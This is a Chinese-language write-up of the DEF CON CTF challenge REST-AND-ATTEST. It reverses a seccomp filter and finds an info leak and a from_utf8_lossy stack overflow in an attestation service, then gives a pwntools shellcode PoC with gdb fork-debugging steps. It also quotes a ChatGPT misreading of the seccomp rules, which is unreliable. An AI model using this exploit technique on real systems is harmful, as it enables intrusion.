长亭百川云 - 文章详情

DefCon REST-AND-ATTEST

RainSec

48

2024-07-13

题目描述

官方描述:

Description  
Are you ready for a revolution in home security? NI Securable Products is proud to present our newest smart lock technology, equipped with our Secure Firmware Module. This robust root-of-trust allows for easy, convenient, and secure upgrades of firmware using the latest in firmware attestation technology.  
  
Host: rest-and-attest-tbjffclmcnxkq.shellweplayaga.me  
  
Port: 10001  
  
Ticket  
This challenge requires a ticket to connect. Your team's ticket is:  
  
ticket{*********}  
This ticket and the flag are traceable to your team. Do not share it with other teams, and do not try to submit a flag from another team.  
  
Files  
rest-and-attest.tar.gz

逆向&漏洞发现

题目还是有点大的,主要描述的都是一些有意思的点。

  题目给的压缩包,里面包含三个目录bin, lib, src,通过run_challenge.sh和wrapper.sh可以得出题目的大致情况:

#!/bin/sh  
# simulates challenge running in production environment  
socat tcp4-listen:4444,reuseaddr,fork exec:"./wrapper.sh"
#!/bin/sh  
  
exec 3<&- 4<&-  
  
exec ./uploader

  可以看出目标题目就是执行的uploader程序,同时在src目录里面存在uploader,sfm,sfm-sys的源码,下面描述一下三者的主要逻辑和逆向发现漏洞过程。

bin目录:

uploader

fn io_loop() -> Result<(), Box<dyn Error>> {  
  
    let mut image = include_bytes!("trusted_firmware.raw").to_vec();  
  
    loop {  
        let mut line = String::new();  
  
        print!("> ");  
        stdout().flush()?;  
        stdin().read_line(&mut line)?;  
  
        let command = line.trim();  
        if command == String::from("upload") {  
            image = get_new_image()?; // user input iamge  
        } else if command == String::from("download") {  
            do_download(&image)?; // image to hex and stdout ptint  
        } else if command == String::from("run") {  
            run_device(&image)?; // so lancher connect sfm and lancher have iamge, ok, may lancher give image to sfm and sfm run image  
        } else if command == String::from("quit") {  
            break;  
        } else {  
            println!("Invalid command {:}", command)  
        }  
    }  
  
    Ok(())  
}

  题目采用rust编写,uploader存在三个主要功能:upload,download,run。

  • • upload:主要就是通过输入获取新的镜像。

  • • download:下载当前运行的镜像。

  • • run:启动sfm程序和launcher程序(无源码bin文件)并初始化Unix stream socket为sfm和launcher建立通信,同时launcher程序会读取image,并在建立seccomp之后执行image。

那么现在的思路基本上就两个:

  1. 1. 逃逸sccomp进行代码执行。

  2. 2. 通过lau image和sfm进行交互,看sfm是否存在漏洞。

下面贴一下seccomp的初始化IDA伪代码:

__int64 install_seccomp_filter()  
{  
  __int64 v0; // rcx  
  __int64 v1; // r8  
  __int16 v3; // [rsp+0h] [rbp-80h] BYREF  
  __int16 *v4; // [rsp+8h] [rbp-78h]  
  __int16 v5; // [rsp+10h] [rbp-70h] BYREF  
  char v6; // [rsp+12h] [rbp-6Eh]  
  char v7; // [rsp+13h] [rbp-6Dh]  
  int v8; // [rsp+14h] [rbp-6Ch]  
  __int16 v9; // [rsp+18h] [rbp-68h]  
  char v10; // [rsp+1Ah] [rbp-66h]  
  char v11; // [rsp+1Bh] [rbp-65h]  
  int v12; // [rsp+1Ch] [rbp-64h]  
  __int16 v13; // [rsp+20h] [rbp-60h]  
  char v14; // [rsp+22h] [rbp-5Eh]  
  char v15; // [rsp+23h] [rbp-5Dh]  
  int v16; // [rsp+24h] [rbp-5Ch]  
  __int16 v17; // [rsp+28h] [rbp-58h]  
  char v18; // [rsp+2Ah] [rbp-56h]  
  char v19; // [rsp+2Bh] [rbp-55h]  
  int v20; // [rsp+2Ch] [rbp-54h]  
  __int16 v21; // [rsp+30h] [rbp-50h]  
  char v22; // [rsp+32h] [rbp-4Eh]  
  char v23; // [rsp+33h] [rbp-4Dh]  
  int v24; // [rsp+34h] [rbp-4Ch]  
  __int16 v25; // [rsp+38h] [rbp-48h]  
  char v26; // [rsp+3Ah] [rbp-46h]  
  char v27; // [rsp+3Bh] [rbp-45h]  
  int v28; // [rsp+3Ch] [rbp-44h]  
  __int16 v29; // [rsp+40h] [rbp-40h]  
  char v30; // [rsp+42h] [rbp-3Eh]  
  char v31; // [rsp+43h] [rbp-3Dh]  
  int v32; // [rsp+44h] [rbp-3Ch]  
  __int16 v33; // [rsp+48h] [rbp-38h]  
  char v34; // [rsp+4Ah] [rbp-36h]  
  char v35; // [rsp+4Bh] [rbp-35h]  
  int v36; // [rsp+4Ch] [rbp-34h]  
  __int16 v37; // [rsp+50h] [rbp-30h]  
  char v38; // [rsp+52h] [rbp-2Eh]  
  char v39; // [rsp+53h] [rbp-2Dh]  
  int v40; // [rsp+54h] [rbp-2Ch]  
  __int16 v41; // [rsp+58h] [rbp-28h]  
  char v42; // [rsp+5Ah] [rbp-26h]  
  char v43; // [rsp+5Bh] [rbp-25h]  
  int v44; // [rsp+5Ch] [rbp-24h]  
  __int16 v45; // [rsp+60h] [rbp-20h]  
  char v46; // [rsp+62h] [rbp-1Eh]  
  char v47; // [rsp+63h] [rbp-1Dh]  
  int v48; // [rsp+64h] [rbp-1Ch]  
  __int16 v49; // [rsp+68h] [rbp-18h]  
  char v50; // [rsp+6Ah] [rbp-16h]  
  char v51; // [rsp+6Bh] [rbp-15h]  
  int v52; // [rsp+6Ch] [rbp-14h]  
  __int16 v53; // [rsp+70h] [rbp-10h]  
  char v54; // [rsp+72h] [rbp-Eh]  
  char v55; // [rsp+73h] [rbp-Dh]  
  int v56; // [rsp+74h] [rbp-Ch]  
  unsigned __int64 v57; // [rsp+78h] [rbp-8h]  
  
  v57 = __readfsqword(0x28u);  
  v5 = 32;  
  v6 = 0;  
  v7 = 0;  
  v8 = 4;  
  v9 = 21;  
  v10 = 1;  
  v11 = 0;  
  v12 = -1073741762;  
  v13 = 6;  
  v14 = 0;  
  v15 = 0;  
  v16 = 0;  
  v17 = 32;  
  v18 = 0;  
  v19 = 0;  
  v20 = 0;  
  v21 = 21;  
  v22 = 0;  
  v23 = 1;  
  v24 = 0;  
  v25 = 6;  
  v26 = 0;  
  v27 = 0;  
  v28 = 2147418112;  
  v29 = 21;  
  v30 = 0;  
  v31 = 1;  
  v32 = 1;  
  v33 = 6;  
  v34 = 0;  
  v35 = 0;  
  v36 = 2147418112;  
  v37 = 21;  
  v38 = 0;  
  v39 = 1;  
  v40 = 47;  
  v41 = 6;  
  v42 = 0;  
  v43 = 0;  
  v44 = 2147418112;  
  v45 = 21;  
  v46 = 0;  
  v47 = 1;  
  v48 = 11;  
  v49 = 6;  
  v50 = 0;  
  v51 = 0;  
  v52 = 2147418112;  
  v53 = 6;  
  v54 = 0;  
  v55 = 0;  
  v56 = 0;  
  v3 = 13;  
  v4 = &v5;  
  if ( (unsigned int)prctl(38LL, 1LL, 0LL, 0LL, 0LL) )  
  {  
    perror("prctl(NO_NEW_PRIVS)");  
  }  
  else  
  {  
    if ( !(unsigned int)prctl(22LL, 2LL, &v3, v0, v1) )  
      return 0LL;  
    perror("prctl(SECCOMP)");  
  }  
  return 1LL;  
}

  我当时一个抖机灵就直接发给chatGPT,得到的回答如下:

Sure. According to the pseudocode provided, this is a function used to install a seccomp filter. The specific rules of the filter are as follows:

  • • Allow reading and writing files with file descriptors of 0, 1, and 2.

  • • Allow the use of exit_group, read, write, and nanosleep system calls.

  • • Prohibit the use of any other system calls.

Therefore, the main purpose of this seccomp rule is to limit the program's system call permissions to enhance the program's security.

  从chatGPT的回答可以看出这是非常严格的沙箱限制。于是我就直接看sfm的代码进行代码审计了。然而队友一眼看出chatGPT的错误所在。

From Thomason:

Behavior of prctl should be:

With arg2 set to SECCOMP_MODE_FILTER (since Linux 3.5) the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments. This mode is only available if the kernel is configured with CONFIG_SECCOMP_FILTER enabled.

__int64 install_seccomp_filter()  
{  
  __int64 v0; // rcx  
  __int64 v1; // r8  
  sock_fprog sec_filter; // [rsp+0h] [rbp-80h] BYREF  
  sock_filter filter[13]; // [rsp+10h] [rbp-70h] BYREF  
  unsigned __int64 v5; // [rsp+78h] [rbp-8h]  
  
  v5 = __readfsqword(0x28u);  
  filter[0].code = 32;                          // /* Load architecture from 'seccomp_data' buffer into accumulator. */  
                                                // BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch)))  
  filter[0].jt = 0;  
  filter[0].jf = 0;  
  filter[0].k = 4;  
  filter[1].code = 21;                          // ???  
  filter[1].jt = 1;  
  filter[1].jf = 0;  
  filter[1].k = 0xC000003E;  
  filter[2].code = 6;                           // /* Destination of architecture mismatch: kill process. */  
                                                // BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS)  
  filter[2].jt = 0;  
  filter[2].jf = 0;  
  filter[2].k = 0;  
  filter[3].code = 32;                          // /* Load system call number from 'seccomp_data' buffer into accumulator. */  
                                                // BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr)))  
  filter[3].jt = 0;  
  filter[3].jf = 0;  
  filter[3].k = 0;  
  filter[4].code = 21;                          // /* Jump forward k instructions if ... */  
                                                // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)  
  filter[4].jt = 0;  
  filter[4].jf = 1;  
  filter[4].k = 0;  
  filter[5].code = 6;                           // /* Destination of system call number mismatch: allow other system calls. */  
                                                // BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),  
  filter[5].jt = 0;  
  filter[5].jf = 0;  
  filter[5].k = 0x7FFF0000;                     // SECCOMP_RET_ALLOW  
  filter[6].code = 21;                          // /* Jump forward k instructions if ... */  
                                                // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)  
  filter[6].jt = 0;  
  filter[6].jf = 1;  
  filter[6].k = 1;  
  filter[7].code = 6;  
  filter[7].jt = 0;  
  filter[7].jf = 0;  
  filter[7].k = 0x7FFF0000;                     // SECCOMP_RET_ALLOW  
  filter[8].code = 21;                          // /* Jump forward k instructions if ... */  
                                                // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)  
  filter[8].jt = 0;  
  filter[8].jf = 1;  
  filter[8].k = 47;  
  filter[9].code = 6;  
  filter[9].jt = 0;  
  filter[9].jf = 0;  
  filter[9].k = 0x7FFF0000;                     // SECCOMP_RET_ALLOW  
  filter[10].code = 21;                         // /* Jump forward k instructions if ... */  
                                                // BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, jt, jf, k)  
  filter[10].jt = 0;  
  filter[10].jf = 1;  
  filter[10].k = 11;  
  filter[11].code = 6;  
  filter[11].jt = 0;  
  filter[11].jf = 0;  
  filter[11].k = 0x7FFF0000;                    // SECCOMP_RET_ALLOW  
  filter[12].code = 6;                          // /* Destination of architecture mismatch: kill process. */  
                                                // BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL_PROCESS)  
  filter[12].jt = 0;  
  filter[12].jf = 0;  
  filter[12].k = 0;  
  sec_filter.len = 13;  
  sec_filter.filter = filter;  
  if ( (unsigned int)prctl(38LL, 1LL, 0LL, 0LL, 0LL) )// #define PR_SET_NO_NEW_PRIVS 38  
  {  
    perror("prctl(NO_NEW_PRIVS)");  
  }  
  else  
  {  
    if ( !(unsigned int)prctl(22LL, 2LL, &sec_filter, v0, v1) )// #define PR_SET_SECCOMP  22  
                                                // #define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */  
      return 0LL;  
    perror("prctl(SECCOMP)");  
  }  
  return 1LL;  
}

This code installs a SECCOMP filter using the prctl system call with the PR_SET_SECCOMP option. The SECCOMP mode used is SECCOMP_MODE_FILTER, which means that a user-supplied filter is used. The filter contains 13 instructions, which are used to allow or block specific system calls. The allowed system calls are: read (syscall number 0) write (syscall number 1) close (syscall number 3) fstat (syscall number 5) mmap (syscall number 9) mprotect (syscall number 10) munmap (syscall number 11) brk (syscall number 12) rt_sigaction (syscall number 13) rt_sigprocmask (syscall number 14) ioctl (syscall number 16) access (syscall number 21) exit_group (syscall number 231) All other system calls are blocked, and attempting to make them will result in the process being killed. Note that the specific behavior of the filter may depend on the environment in which it is being used.

可能会说用seccomp-tools,但是其实defcon题目环境搭建还是有点蛮麻烦的(不过后来发现是我电脑ubuntu 20.04的原因,22.04环境搭建还是不难的)。

  对于defcon这种比赛就是要抓住各种细节,感叹大佬们都非常细心和耐心。在经过认真分析seccomp之后发现绕过过滤确实不可能,因此我基本上接着审计sfm和sfm-sys,希望可以通过image的代码和sfm进行交互来实现攻击。

sfm

  sfm主要就是作为一个server提供一些功能交互,核心命令如下:

impl SfmCommandCode {  
    pub const GetIdentity: Self = SfmCommandCode(0);  
    pub const IntegrityBankUpdate: Self = SfmCommandCode(1);  
    pub const CreateObject: Self = SfmCommandCode(2);  
    pub const ModifyObject: Self = SfmCommandCode(3);  
    pub const DuplicateObject: Self = SfmCommandCode(4);  
    pub const UnsealObject: Self = SfmCommandCode(5);  
    pub const CertifyObject: Self = SfmCommandCode(6);  
    pub const AttestQuote: Self = SfmCommandCode(7);  
    pub const EstablishSecureIo: Self = SfmCommandCode(8);  
}

  漏洞就出现在实现命令的certify_object函数里面,同时函数的参数其实就是程序接收的bytes转换而来的:

    fn certify_object(&mut self, cmd: WithTrailer<SfmCertifyObject>) -> SfmResult<bool> {  
        let entry = self.object_store.get(&cmd.object_index.into())  
            .ok_or(SfmError::InvalidObjectIndex(cmd.object_index))?;  
  
        let certification = match &entry.item {  
            SfmObject::OwnershipRecord(body) => {  
                self.sfm.certify_ownership_record(  
                           &body.owner_name.as_bytes(),  
                           &body.device_name[..],  
                           u64::from_le_bytes(body.serial_number),  
                           body.creation_date)  
            }  
            SfmObject::Key(key) => {  
                self.sfm.certify_key(&key.key_data[..])  
            }  
            SfmObject::NvStorage(data) => {  
                self.sfm.certify_nv_storage(&data[..])  
            }  
        };  
  
        // write the cert blob back out  
        let cert_blob = certification.ok_or(SfmError::SfmInternalError)?;  
        self.stream.write_all(&cert_blob[..])?;  
        Ok(true)  
    }

  当entyr.item匹配到OwnershipRecord的时候调用certify_ownership_record函数:

    pub fn certify_ownership_record(&mut self,  
                                    owner_name: &[u8],  
                                    device_name: &[u8],  
                                    serial: u64,  
                                    timestamp: u32) -> Option<Vec<u8>> {  
        let mut out_buf = [0u8; MAX_OWNERSHIP_CERT_SIZE];  
  
        let err = unsafe {  
            sfm_certify_owner_record(self.ek,  
                                     owner_name.as_ptr(),  
                                     device_name.as_ptr(),  
                                     serial,  
                                     timestamp,  
                                     out_buf.as_mut_ptr())  
        };  
  
        if err != 0 {  
            None  
        } else {  
            Some(out_buf.to_vec())  
        }  
    }

同时注意OwnershipRecord的结构体类型:

pub struct OwnershipRecord {  
    pub country_code: String,  
    pub owner_name: String,  
    pub device_name: [u8; 16],  
    pub serial_number: [u8; 8],  
    pub creation_date: u32  
}  
#[repr(C)]  
#[derive(Debug, AsBytes, FromBytes)]  
pub struct OwnershipRecordRaw {  
    pub country_code: [u8; 2],  
    pub _padding: [u8; 2],  
    pub owner_name: [u8; 64],  
    pub device_name: [u8; 16],  
    pub serial_number: [u8; 8],  
    pub creation_date: u32,  
}

在body进行类型转换的时候使用如下函数:

impl From<OwnershipRecordRaw> for OwnershipRecord {  
    fn from(item: OwnershipRecordRaw) -> Self {  
        Self {  
            country_code: String::from_utf8_lossy(&item.country_code[..]).to_string(),  
            owner_name: String::from_utf8_lossy(&item.owner_name[..]).to_string(),  
            device_name: item.device_name,  
            serial_number: item.serial_number,  
            creation_date: item.creation_date  
        }  
    }  
}

  这些都是我们可以控制的数据,在certify_ownership_record函数中,创建了一个size确定的out_buf来进行存储结果,这是一个C函数,用来使用openssl对参数信息进行签名,并将结果保存在out_buf里面,正在来说作者肯定留有足够的buf来保存信息,但是观察上述类型转换的函数,其使用了String::from_utf8_lossy进行转换,观察该库函数源码:

    pub fn from_utf8_lossy(v: &[u8]) -> Cow<'_, str> {  
        let mut iter = Utf8Chunks::new(v);  
  
        let first_valid = if let Some(chunk) = iter.next() {  
            let valid = chunk.valid();  
            if chunk.invalid().is_empty() {  
                debug_assert_eq!(valid.len(), v.len());  
                return Cow::Borrowed(valid);  
            }  
            valid  
        } else {  
            return Cow::Borrowed("");  
        };  
  
        const REPLACEMENT: &str = "\u{FFFD}";  
  
        let mut res = String::with_capacity(v.len());  
        res.push_str(first_valid);  
        res.push_str(REPLACEMENT);  
  
        for chunk in iter {  
            res.push_str(chunk.valid());  
            if !chunk.invalid().is_empty() {  
                res.push_str(REPLACEMENT);  
            }  
        }  
  
        Cow::Owned(res)  
    }

函数解释如下:

Converts a slice of bytes to a string, including invalid characters.

Strings are made of bytes ([u8](vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-sandbox/workbench/workbench.html)), and a slice of bytes ([&[u8\]](vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-sandbox/workbench/workbench.html)) is made of bytes, so this function converts between the two. Not all byte slices are valid strings, however: strings are required to be valid UTF-8. During this conversion, from_utf8_lossy() will replace any invalid UTF-8 sequences with [U+FFFD REPLACEMENT CHARACTER](vscode-file://vscode-app/Applications/Visual Studio Code.app/Contents/Resources/app/out/vs/code/electron-sandbox/workbench/workbench.html), which looks like this: �

  同时"\u{FFFD}"转换为utf-8为3字节,这就引发对于out_buf可能的栈溢出行为。但是栈溢出行为在保护机制这么多的情况下,一般都需要info leak才能利用,接下来看另一个函数:

    pub fn attest(&self,  
                  alg_id: u16,  
                  banks: Vec<[u8; 64]>) -> Option<Vec<u8>> {  
        let mut out_buf = [0u8; 512];  
        let err = unsafe {  
            sfm_attest_to_quote(self.ek,  
                                alg_id as u16,  
                                banks.as_ptr(),  
                                banks.len(),  
                                out_buf.as_mut_ptr())  
        };  
  
        if err != 0 {  
            None  
        } else {  
            Some(out_buf.to_vec())  
        }  
    }  
  
    fn attest_quote(&mut self, cmd: WithTrailer<SfmAttestQuote>) -> SfmResult<bool> {  
        let alg = cmd.alg_id;  
  
        if alg > SfmHashAlgorithm::HashAlgMax as u16 {  
            return Err(SfmError::InvalidAlgorithmType);  
        }  
  
        let report = self.sfm.attest(alg, self.banks.to_vec());  
  
        self.stream.write_all(&report.ok_or(SfmError::SfmInternalError)?[..])?;  
        Ok(true)  
    }

  该函数对输入进行处理,然后给client返回一个report,当输入的alg为4的时候会直接返回一个EVP_MD_CTX struct:

  他会被copy进入out_buf,其中包含了很多func pointers和heap addresses,从而实现address leak。

漏洞利用

  因为launcher和sfm都是uploader的子进程,因此不能类似平常的CTF赛题一样从输出获取泄露的地址信息。因此需要通过设置合适的gdb debug mode来实现调试,这里我们复现一下stack_overflow的poc。

from pwn import *  
from binascii import hexlify  
  
  
context.log_level = 'debug'  
connect.arch = 'amd64'  
context.terminal = ["tmux", "splitw", "-h"]  
  
p = process('./uploader')  
  
payload =  ''  
payload += shellcraft.read(3, 'rsp', 4)  
payload += shellcraft.pushstr("SFMI")  
payload += shellcraft.write(3, 'rsp' , 4)  
  
payload = asm(payload)  
payload = payload.ljust(0x2000, b'\x90') # 这里就是之前说到的关键  
  
  
def upload():  
    # gdb.attach(p)  
    p.recvuntil(b'>')  
    p.sendline(b'upload')  
    p.sendline(hexlify(payload))  
upload()  
  
p.interactive()

  假设不用gdb的话,直接运行脚本是看不到任何异常的,因为崩溃的其实是子进程,调试的时候需要进行下面的设置:

pwndbg> catch exec  
pwndbg> catch fork  
pwndbg> catch vfork

  gdb的catch功能此时很好用,可以设置catchpoint让调试器因为某种程序事件停止,这里设置了fork, vfork, exec,前两个不用多说是为了在产生子进程的时候断下程序,exec则是为了在子进程运行之初将其断下来,然后通过合适的设置follow-fork-mode就可以进入目标进程观察和调试崩溃:

  信息泄露的调试和后续的内容就不贴了,因为也没提供题目附件(想要的可以找我,或者网上下载),主要是提供一些有趣的思路分享给大家。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2